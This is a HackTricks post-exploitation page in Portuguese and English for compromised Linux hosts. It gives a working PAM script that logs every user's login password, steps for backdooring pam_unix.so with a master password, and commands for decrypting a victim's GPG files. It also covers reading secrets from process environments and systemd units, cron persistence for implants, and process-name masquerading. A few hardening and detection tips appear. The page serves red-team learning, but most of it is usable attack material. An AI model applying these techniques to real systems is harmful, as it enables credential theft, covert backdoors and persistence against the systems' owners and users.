Linux Post-Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Sniffing Logon Passwords with PAM
Vamos configurar um módulo PAM para registrar cada password que cada usuário usa para login. Se você não sabe o que é PAM, confira:
PAM - Pluggable Authentication Modules
For further details check the original post. Isto é apenas um resumo:
Technique Overview: Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Podem aumentar a segurança ao customizar processos de login, mas também representam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, além de estratégias de mitigação.
Capturing Credentials:
- Um script bash chamado
toomanysecrets.shé criado para registrar tentativas de login, capturando a data, username ($PAM_USER), password (via stdin) e o IP do host remoto ($PAM_RHOST) em/var/log/toomanysecrets.log. - O script é tornado executável e integrado à configuração PAM (
common-auth) usando o módulopam_exec.socom opções para rodar quietamente e expor o token de autenticação ao script. - A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais discretamente.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Para mais detalhes veja o original post. Isto é apenas um resumo:
O Pluggable Authentication Module (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera com três conceitos principais: nome de usuário, senha, e serviço. Arquivos de configuração para cada serviço ficam no diretório /etc/pam.d/, onde bibliotecas compartilhadas lidam com a autenticação.
Objetivo: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso se concentra particularmente na biblioteca compartilhada pam_unix.so usada pelo arquivo common-auth, que é incluído por quase todos os serviços para verificação de senha.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile:
- A linha responsável por verificar a senha de um usuário chama
pam_unix.so.
- Modify Source Code:
- Adicione uma instrução condicional no arquivo fonte
pam_unix_auth.cque concede acesso se uma senha pré-definida for usada; caso contrário, prossegue com o processo de autenticação habitual.
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha pré-definida, enquanto os processos normais de autenticação permanecem inalterados.
Tip
Você pode automatizar esse processo com https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Se você encontrar um arquivo .gpg criptografado e a pasta ~/.gnupg de um usuário (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/bloqueios do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home.
Erros típicos que você verá sem isso: “unsafe ownership on homedir”, “failed to create temporary file”, ou “decryption failed: No secret key” (porque o GPG não pode ler/gravar o homedir original).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Se o material de chave secreta estiver presente em private-keys-v1.d, o GPG irá desbloquear e descriptografar sem solicitar uma passphrase (ou irá solicitar se a chave estiver protegida).
Coletando credenciais do ambiente dos processos (incluindo containers)
Quando você obtém execução de código dentro de um serviço, o processo frequentemente herda variáveis de ambiente sensíveis. Estas são uma mina de ouro para movimento lateral.
Resultados rápidos
- Exibir o env do processo atual:
envouprintenv - Exibir o env de outro processo:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p' - Adicione
strings -z /proc/<PID>/environsetr/sednão estiverem disponíveis - Em containers, verifique também o PID 1:
tr '\0' '\n' </proc/1/environ
O que procurar
- Segredos da aplicação e credenciais de administrador (por exemplo, Grafana define
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD) - chaves de API, URIs de DB, credenciais SMTP, segredos OAuth
- Variáveis de proxy e TLS:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
Notas
- Muitas orquestrações passam configurações sensíveis via env; elas são herdadas pelos filhos e expostas a qualquer shell arbitrário que você abra dentro do contexto do processo.
- Em alguns casos, essas credenciais são reutilizadas em todo o sistema (por exemplo, mesmo username/password válidos para SSH no host), permitindo um pivot fácil.
Credenciais armazenadas pelo systemd em unit files (Environment=)
Serviços iniciados pelo systemd podem incorporar credenciais em unit files como entradas Environment=. Enumere e extraia-as:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (
systemd-ask-password,EnvironmentFilewith locked perms, or external secret managers) - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotacione passwords leaked descobertos durante os testes
Cron-based persistence with loopback mutex
- Copie implants em vários caminhos graváveis (
/tmp,/var/tmp,/dev/shm,/run/lock) e instale entradas no cron como*/5 * * * * /tmp/<bin>para que reapareçam mesmo se removidos em outro lugar. - Enforce single-instance execution by binding a fixed loopback port (for example,
127.0.0.1:51125or127.0.0.1:52225) and exiting ifbind()fails;ss -lntp | grep -E '51125|52225'will reveal the mutex listener. - Operadores podem periodicamente matar em massa qualquer processo cujo
cmdlinecontenha o nome do dropper (por exemplo,init_stop), então reutilizar esses nomes durante a análise pode colidir; escolha nomes de arquivos únicos.
Process masquerading via prctl + argv overwrite
- Defina o nome curto do processo com
prctl(PR_SET_NAME, "<label>")(15-bytecommlimit), comumente parainit, assim/proc/<pid>/statuse GUIs exibem um rótulo benigno. - Sobrescreva o buffer
argv[0]em memória após ler o comprimento de/proc/self/cmdlinee o ponteiroargv[0], preenchendo com NULs para que/proc/<pid>/cmdlineepstambém mostrem o rótulo falso. - Procure comparando
Name:em/proc/<pid>/statuscom o caminho real do executável e procurando por loopback mutex listeners pertencentes a processos com cmdlines curtas/vazias.
Referências
- 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


